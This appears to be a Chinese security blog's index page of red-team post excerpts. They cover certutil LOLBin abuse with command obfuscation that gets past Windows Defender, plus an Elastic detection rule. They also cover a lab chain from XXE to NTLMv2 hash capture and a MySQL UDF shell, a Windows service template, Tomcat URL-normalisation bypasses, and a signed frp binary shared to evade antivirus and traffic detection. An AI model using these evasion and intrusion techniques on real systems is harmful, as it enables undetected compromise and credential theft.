Living Off the Land Binaries 攻防实践浅析

抽空写完了,完善测试一下发了出来。中秋节将近,祝愿师傅们健康快乐。 Living Off The Land Binaries Living Off The Land Binaries (LOLBins) 是指操作系统中自带的合法工具、可执行文件或二进制文件,这些文件本来是为系统管理或维护设计的,但攻击者却利用它们来执行恶意活动。因为这些工具本身是合法的,且在系统中广泛使用,所以很难被安全软件检测为恶意行为。 针对这部分做威胁狩猎是一个不错的开始,不仅涵盖了各个阶段,而且从技术层面上比较容易落地(非常好写规则,不像高级的攻击技术,日志源都没有,直接寄了),目前公开LOLBAS覆盖的TTPS如下: 安全设备与日志检测 这里为了方便起见就不拉其他杀毒,用的自带的杀软,仅作为演示。 Certutil.exe 实践 Windows有一个名为CertUtil的内置程序,可用于在Windows中管理证书。使用此程序可以在Windows中安装,备份,删除,管理和执行与证书和证书存储相关的各种功能。CertUtil的一个特性是能够从远程URL下载证书或任何其他文件。命令执行漏洞利用场景频繁使用Certutil.exe下载后门 下载测试 直接下载Windows的杀毒会报警,拦截掉了命令: 根据Windows的CMD特性,混淆一下命令就绕过了杀毒基于命令行的检测: cert^u^t^il -url""""cache -sp""""lit -f https://www.baidu.com Elastic Rule 检测分析 这个ES官方的规则,限制死了certutil的出站访问,意味着无法从技术层面上绕过这个日志规则的检测 [metadata] creation_date = "2020/03/19" maturity = "production" updated_date = "2021/05/26" [rule] author = ["Elastic"] description = """ Identifies certutil.exe making a network connection. Adversaries could abuse certutil.exe to download a certificate, or malware, from a remote URL. """ from = "now-9m" index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] language = "eql" license = "Elastic License v2" name = "Network Connection via Certutil" references = ["https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml"] risk_score = 21 rule_id = "3838e0e3-1850-4850-a411-2e8c5ba40ba8" severity = "low" tags = ["Elastic", "Host", "Windows", "Threat Detection", "Command and Control"] type = "eql" query = ''' sequence by process.entity_id [process where process.name : "certutil.exe" and event.type == "start"] [network where process.name : "certutil.exe" and not cidrmatch(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", "192.175.48.0/24", "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", "FF00::/8")] ''' [[rule.threat]] framework = "MITRE ATT&CK" [[rule.threat.technique]] id = "T1105" name = "Ingress Tool Transfer" reference = "https://attack.mitre.org/techniques/T1105/" [rule.threat.tactic] id = "TA0011" name = "Command and Control" reference = "https://attack.mitre.org/tactics/TA0011/" Msbuild.exe 实践 这个是之前写的C#工程,用于在受限的环境执行代码,在某些限制二进制执行的场景(类似Apploacker)非常频繁使用,代码逻辑比较简单就不分析了: ...

September 13, 2024 · 4 min · Theme PaperMod

过去的考核靶场

这是过去同事出的某个月的靶场,主要考察数据库的利用,现在我回顾了一下,有其他办法打下来。靶场这种,对熟悉的朋友可能当成流水账分享出来,但是利用是思路可以启发一些新入坑的师傅。现在我工作研究以云为主,后续会分享一些云的靶场和云的攻击思路 具体过程 端口扫描: 访问页面: 下载源代码: 一个明显的XXE,但是我忘了payload怎么插位置了,选择do active scan: bp的扫描有点慢,等5分钟作用看到控制台已经出现XXE告警了: 尝试利用file协议触发NTLM认证 拿到NTLMv2 [SMB] NTLMv2-SSP Client : 192.168.9.32 [SMB] NTLMv2-SSP Username : WIN-5VFSQB79O7Q\Administrator [SMB] NTLMv2-SSP Hash : Administrator::WIN-5VFSQB79O7Q:4c08c6e928eb92e1:509F646FA230C594CA87E41CC35AE6B2:010100000000000080636C8EFC8AD9017B9A24AA652678890000000002000800440033005300480001001E00570049004E002D004900330050004E00310051005000360046005600500004003400570049004E002D004900330050004E0031005100500036004600560050002E0044003300530048002E004C004F00430041004C000300140044003300530048002E004C004F00430041004C000500140044003300530048002E004C004F00430041004C000700080080636C8EFC8AD9010600040002000000080030003000000000000000000000000030000069C08C33C70925621E8A9A661614AE8333E6846F5F1861A6BB5A1A7E8E1EA01D0A001000000000000000000000000000000000000900260063006900660073002F003100390032002E003100360038002E00310031002E00320031003700000000000000000000000000 尝试hashcat破解密码发现7位以内还很好破解,到了8位要好几个小时,基本上没时间放弃了(过了一段时间,我发现hashcat可以使用Rule去破解,速度缩短到一个小时以内破解任意非随机生成的密码): 利用XXE外部实体读取有回显的文件: 读取connet.php文件内容获取密码: 连接数据库文件: Mysql#202305 测试sql直接udf拿shell,果然不行 sqlmap -d "mysql://root:Mysql#[email protected]:3306/mysql" --os-shell 手工建立连接发现插件位置 C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin\\udf.dll 无法写入: 根据大佬提示,没办法写入的原因是phpstudy默认没有这个东西 C:\phpstudy_pro\Extensions\MySQL5.5.29\ 需要创建插件目录,需要逐级创建: select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; 写入对应的dll库: ...

July 15, 2024 · 2 min · Theme PaperMod

编译服务类型PE文件

在Windows下,创建服务EXE需要特殊格式,这里分享记录一下,方便后面复制调试。 服务约定格式 一个最小的服务至少需要三个函数: A Main Entry point (like any application),StartServiceCtrlDispatcher启动一个服务的线程,用ServiceTable维护一个类似的结构,提供关于这个服务的详细信息 int main(int argc, TCHAR* argv[]) { SERVICE_TABLE_ENTRY ServiceTable[] = { { const_cast<LPWSTR>(SERVICE_NAME), (LPSERVICE_MAIN_FUNCTION)ServiceMain }, { NULL, NULL } }; if (StartServiceCtrlDispatcher(ServiceTable) == FALSE) { DWORD dwError = GetLastError(); std::cerr << "StartServiceCtrlDispatcher error: " << dwError << std::endl; return dwError; } return 0; } A Service Entry point 服务入口,不难看出服务实际上是可以接受参数的 VOID WINAPI ServiceMain(DWORD argc, LPTSTR* argv) { //注册服务 g_StatusHandle = RegisterServiceCtrlHandler(SERVICE_NAME, ServiceCtrlHandler); if (g_StatusHandle == NULL) { exit(GetLastError()); } ZeroMemory(&g_ServiceStatus, sizeof(g_ServiceStatus)); g_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; g_ServiceStatus.dwControlsAccepted = 0; g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING; g_ServiceStatus.dwWin32ExitCode = 0; g_ServiceStatus.dwServiceSpecificExitCode = 0; g_ServiceStatus.dwCheckPoint = 0; //设置服务状态,目前是SERVICE_START_PENDING if (SetServiceStatus(g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugStringW(L"My Sample Service: ServiceMain: SetServiceStatus returned error"); } g_ServiceStopEvent = CreateEvent(NULL, TRUE, FALSE, NULL); //如果事件创建失败,就直接退出程序 if (g_ServiceStopEvent == NULL) { g_ServiceStatus.dwControlsAccepted = 0; g_ServiceStatus.dwCurrentState = SERVICE_STOPPED; g_ServiceStatus.dwWin32ExitCode = GetLastError(); g_ServiceStatus.dwCheckPoint = 1; if (SetServiceStatus(g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugStringW(L"My Sample Service: ServiceMain: SetServiceStatus returned error"); } exit(0); } g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP; g_ServiceStatus.dwCurrentState = SERVICE_RUNNING; g_ServiceStatus.dwWin32ExitCode = 0; g_ServiceStatus.dwCheckPoint = 0; //事件成功的话,就代表服务正在运行了 if (SetServiceStatus(g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugStringW(L"My Sample Service: ServiceMain: SetServiceStatus returned error"); } //创建一个线程,等待这个线程完成,ServiceWorkerThread函数写我们的恶意代码 HANDLE hThread = CreateThread(NULL, 0, ServiceWorkerThread, NULL, 0, NULL); WaitForSingleObject(hThread, INFINITE); CloseHandle(g_ServiceStopEvent); g_ServiceStatus.dwControlsAccepted = 0; g_ServiceStatus.dwCurrentState = SERVICE_STOPPED; g_ServiceStatus.dwWin32ExitCode = 0; g_ServiceStatus.dwCheckPoint = 3; if (SetServiceStatus(g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugStringW(L"My Sample Service: ServiceMain: SetServiceStatus returned error"); } EXIT: return; } A Service Control Handler 服务控制器,根据CtrlCode来接受SCM的控制请求,一旦CtrlCode等于SERVICE_CONTROL_STOP,就调用SetServiceStatus API设置服务状态为SERVICE_STOP_PENDING VOID WINAPI ServiceCtrlHandler(DWORD CtrlCode) { switch (CtrlCode) { case SERVICE_CONTROL_STOP: if (g_ServiceStatus.dwCurrentState != SERVICE_RUNNING) break; g_ServiceStatus.dwControlsAccepted = 0; g_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING; g_ServiceStatus.dwWin32ExitCode = 0; g_ServiceStatus.dwCheckPoint = 4; if (SetServiceStatus(g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugStringW(L"My Sample Service: ServiceCtrlHandler: SetServiceStatus returned error"); } SetEvent(g_ServiceStopEvent); break; default: break; } } 测试代码 #include <windows.h> #include <string> #include <iostream> SERVICE_STATUS g_ServiceStatus = { 0 }; SERVICE_STATUS_HANDLE g_StatusHandle = NULL; HANDLE g_ServiceStopEvent = INVALID_HANDLE_VALUE; VOID WINAPI ServiceMain(DWORD argc, LPTSTR* argv); VOID WINAPI ServiceCtrlHandler(DWORD); DWORD WINAPI ServiceWorkerThread(LPVOID lpParam); const wchar_t SERVICE_NAME[] = L"My Sample Service"; bool CreateAndWriteFile(const std::wstring& filePath, const std::string& data); int main(int argc, TCHAR* argv[]) { SERVICE_TABLE_ENTRY ServiceTable[] = { { const_cast<LPWSTR>(SERVICE_NAME), (LPSERVICE_MAIN_FUNCTION)ServiceMain }, { NULL, NULL } }; if (StartServiceCtrlDispatcher(ServiceTable) == FALSE) { DWORD dwError = GetLastError(); std::cerr << "StartServiceCtrlDispatcher error: " << dwError << std::endl; return dwError; } return 0; } VOID WINAPI ServiceMain(DWORD argc, LPTSTR* argv) { g_StatusHandle = RegisterServiceCtrlHandler(SERVICE_NAME, ServiceCtrlHandler); if (g_StatusHandle == NULL) { exit(GetLastError()); } ZeroMemory(&g_ServiceStatus, sizeof(g_ServiceStatus)); g_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; g_ServiceStatus.dwControlsAccepted = 0; g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING; g_ServiceStatus.dwWin32ExitCode = 0; g_ServiceStatus.dwServiceSpecificExitCode = 0; g_ServiceStatus.dwCheckPoint = 0; if (SetServiceStatus(g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugStringW(L"My Sample Service: ServiceMain: SetServiceStatus returned error"); } g_ServiceStopEvent = CreateEvent(NULL, TRUE, FALSE, NULL); if (g_ServiceStopEvent == NULL) { g_ServiceStatus.dwControlsAccepted = 0; g_ServiceStatus.dwCurrentState = SERVICE_STOPPED; g_ServiceStatus.dwWin32ExitCode = GetLastError(); g_ServiceStatus.dwCheckPoint = 1; if (SetServiceStatus(g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugStringW(L"My Sample Service: ServiceMain: SetServiceStatus returned error"); } exit(0); } g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP; g_ServiceStatus.dwCurrentState = SERVICE_RUNNING; g_ServiceStatus.dwWin32ExitCode = 0; g_ServiceStatus.dwCheckPoint = 0; if (SetServiceStatus(g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugStringW(L"My Sample Service: ServiceMain: SetServiceStatus returned error"); } HANDLE hThread = CreateThread(NULL, 0, ServiceWorkerThread, NULL, 0, NULL); WaitForSingleObject(hThread, INFINITE); CloseHandle(g_ServiceStopEvent); g_ServiceStatus.dwControlsAccepted = 0; g_ServiceStatus.dwCurrentState = SERVICE_STOPPED; g_ServiceStatus.dwWin32ExitCode = 0; g_ServiceStatus.dwCheckPoint = 3; if (SetServiceStatus(g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugStringW(L"My Sample Service: ServiceMain: SetServiceStatus returned error"); } EXIT: return; } VOID WINAPI ServiceCtrlHandler(DWORD CtrlCode) { switch (CtrlCode) { case SERVICE_CONTROL_STOP: if (g_ServiceStatus.dwCurrentState != SERVICE_RUNNING) break; g_ServiceStatus.dwControlsAccepted = 0; g_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING; g_ServiceStatus.dwWin32ExitCode = 0; g_ServiceStatus.dwCheckPoint = 4; if (SetServiceStatus(g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugStringW(L"My Sample Service: ServiceCtrlHandler: SetServiceStatus returned error"); } SetEvent(g_ServiceStopEvent); break; default: break; } } bool CreateAndWriteFile(const std::wstring& filePath, const std::string& data) { HANDLE hFile = CreateFile( filePath.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ); if (hFile == INVALID_HANDLE_VALUE) { return false; } DWORD bytesWritten; if (!WriteFile(hFile, data.c_str(), data.size(), &bytesWritten, NULL)) { CloseHandle(hFile); return false; } CloseHandle(hFile); return true; } DWORD WINAPI ServiceWorkerThread(LPVOID lpParam) { std::wstring filePath = L"1.txt"; std::string data = "111"; //使用相对路径,保存在C:\Windows\System32目录下,推荐使用temp目录 //C:\\Windows\\Temp\\1.txt,测试是否工作,重启之后不知道还有没有,得测试分析一下 if (CreateAndWriteFile(filePath, data)) { } else { } while (WaitForSingleObject(g_ServiceStopEvent, 0) != WAIT_OBJECT_0) { Sleep(3000); } return ERROR_SUCCESS; } 链接到静态库 编译服务需要链接 Kernel32.lib and Advapi32.lib 否则无法找到外部解析 ...

July 13, 2024 · 4 min · Theme PaperMod

在实战下利用URL规范化绕过限制

背景 去年杭州绿盟面试有人问了关于拦截特定URL端点的问题,当时没怎么去研究,就答了个tomcat路由特性。现在回来看看发现本质上所有tricks是URL规范化导致的差异绕过,就决定研究和复习一下。 什么是URL规范化 在 Web 世界中,统一的工作标准通常由 IETF (Internet Engineering Task Force) 通过发布 RFC (Request for Comments) 文档来定义。RFC 是互联网标准的基础,涵盖了从网络协议到系统设计的各个方面。 当然这些只是建议和草案,具体的实现需要依靠各种框架和库,又由于为了兼容不同平台和框架,框架本身会对某些部分进行规范化处理,这就导致了一个请求可以通过复杂的变形来达到绕过各种限制 Requset 请求流程 这里我拿tomcat举例子,实际上很多web中间件都会进行url规范化,web世界比想象中要灵活的多 在tomcat中,url的解析受到CoyoteAdapter的parsePathParameters()和normalize()两个函数: 阅读源码分析一下: protected void parsePathParameters(org.apache.coyote.Request req, Request request) { // Process in bytes (this is default format so this is normally a NO-OP req.decodedURI().toBytes(); ByteChunk uriBC = req.decodedURI().getByteChunk(); // The first character must always be '/' so start search at position 1. // If the first character is ';' the URI will be rejected at the // normalization stage int semicolon = uriBC.indexOf(';', 1); // Performance optimisation. Return as soon as it is known there are no // path parameters; if (semicolon == -1) { return; } // What encoding to use? Some platforms, eg z/os, use a default // encoding that doesn't give the expected result so be explicit Charset charset = connector.getURICharset(); if (log.isTraceEnabled()) { log.trace(sm.getString("coyoteAdapter.debug", "uriBC", uriBC.toString())); log.trace(sm.getString("coyoteAdapter.debug", "semicolon", String.valueOf(semicolon))); log.trace(sm.getString("coyoteAdapter.debug", "enc", charset.name())); } while (semicolon > -1) { // Parse path param, and extract it from the decoded request URI int start = uriBC.getStart(); int end = uriBC.getEnd(); int pathParamStart = semicolon + 1; int pathParamEnd = ByteChunk.findBytes(uriBC.getBuffer(), start + pathParamStart, end, new byte[] { ';', '/' }); String pv = null; if (pathParamEnd >= 0) { if (charset != null) { pv = new String(uriBC.getBuffer(), start + pathParamStart, pathParamEnd - pathParamStart, charset); } // Extract path param from decoded request URI byte[] buf = uriBC.getBuffer(); for (int i = 0; i < end - start - pathParamEnd; i++) { buf[start + semicolon + i] = buf[start + i + pathParamEnd]; } uriBC.setBytes(buf, start, end - start - pathParamEnd + semicolon); } else { if (charset != null) { pv = new String(uriBC.getBuffer(), start + pathParamStart, (end - start) - pathParamStart, charset); } uriBC.setEnd(start + semicolon); } if (log.isTraceEnabled()) { log.trace(sm.getString("coyoteAdapter.debug", "pathParamStart", String.valueOf(pathParamStart))); log.trace(sm.getString("coyoteAdapter.debug", "pathParamEnd", String.valueOf(pathParamEnd))); log.trace(sm.getString("coyoteAdapter.debug", "pv", pv)); } if (pv != null) { int equals = pv.indexOf('='); if (equals > -1) { String name = pv.substring(0, equals); String value = pv.substring(equals + 1); request.addPathParameter(name, value); if (log.isTraceEnabled()) { log.trace(sm.getString("coyoteAdapter.debug", "equals", String.valueOf(equals))); log.trace(sm.getString("coyoteAdapter.debug", "name", name)); log.trace(sm.getString("coyoteAdapter.debug", "value", value)); } } } semicolon = uriBC.indexOf(';', semicolon); } } tomcat官方是注释也很详细,看看它怎么处理的: ...

June 9, 2024 · 5 min · Theme PaperMod

挖掘的带白签名的Frp

背景 这两天想挖个64位的白文件自己用,结果发现个sohu的带签名的frp,对一些师傅可能有用,就决定分享出来,我的博客名气还比较小,应该能用好几年,当然指不定有公众号看到转了我的文章就被杀毒干掉了 签名情况 frp是一个高性能的内网穿透工具,由于它的高性能稳定经常被国内的红队渗透用于攻防演练,也导致了被很多杀毒加入病毒库,使用这个带签名的frp即可规避所有杀软和流量感知 验证使用 看看版本,发现有点老了: 找一个版本接近的,我这里为了规避tls用的v0.38.0服务端,加上配置看看效果: 测试看看能不能正常工作: 完美,一切工作正常 流量分析 frp是有tls握手特征的,低版本没办法通过配置文件去规避,稍微厉害一点的防火墙都能识别出来特征拦截,更别说态势感知了,高版本可以规避,一开始我以为必须匹配版本,后面发现低版本的客户端是可以和高版本的服务端一起用的,导致这些特征完全消失了。 wireshark抓流量看看这些,看到红色框框版本交换了吗? 加上这两个disable_custom_tls_first_byte和tls_enable [common] token = yuzusoft0721 disable_custom_tls_first_byte = true server_addr = 192.168.6.134 server_port = 7000 tls_enable = true [socks5] remote_port = 5444 plugin = socks5 改配置之后也啥看不出来,全加密了,神仙应该也没办法分析这些流量: 总结与思考 看起来大公司的签名给一些有用的工具进行的签名,也许有一些更广泛的工具会签名,我注意到很多游戏开发会有带签名的内存dump工具,只要在工作的足够久,啥奇怪的工具都会见识到。最后,本来想自己用,但是我的互联网精神告诉我应该要分享出来,经过3分钟的思想斗争,我想自己没什么贡献也应该做一点绵薄的贡献,工具和来源地安装包已经上传github,地址 https://github.com/kaliworld/whitefrp :这几天就出发去魔都了,祝我自己好运!

May 14, 2024 · 1 min · Theme PaperMod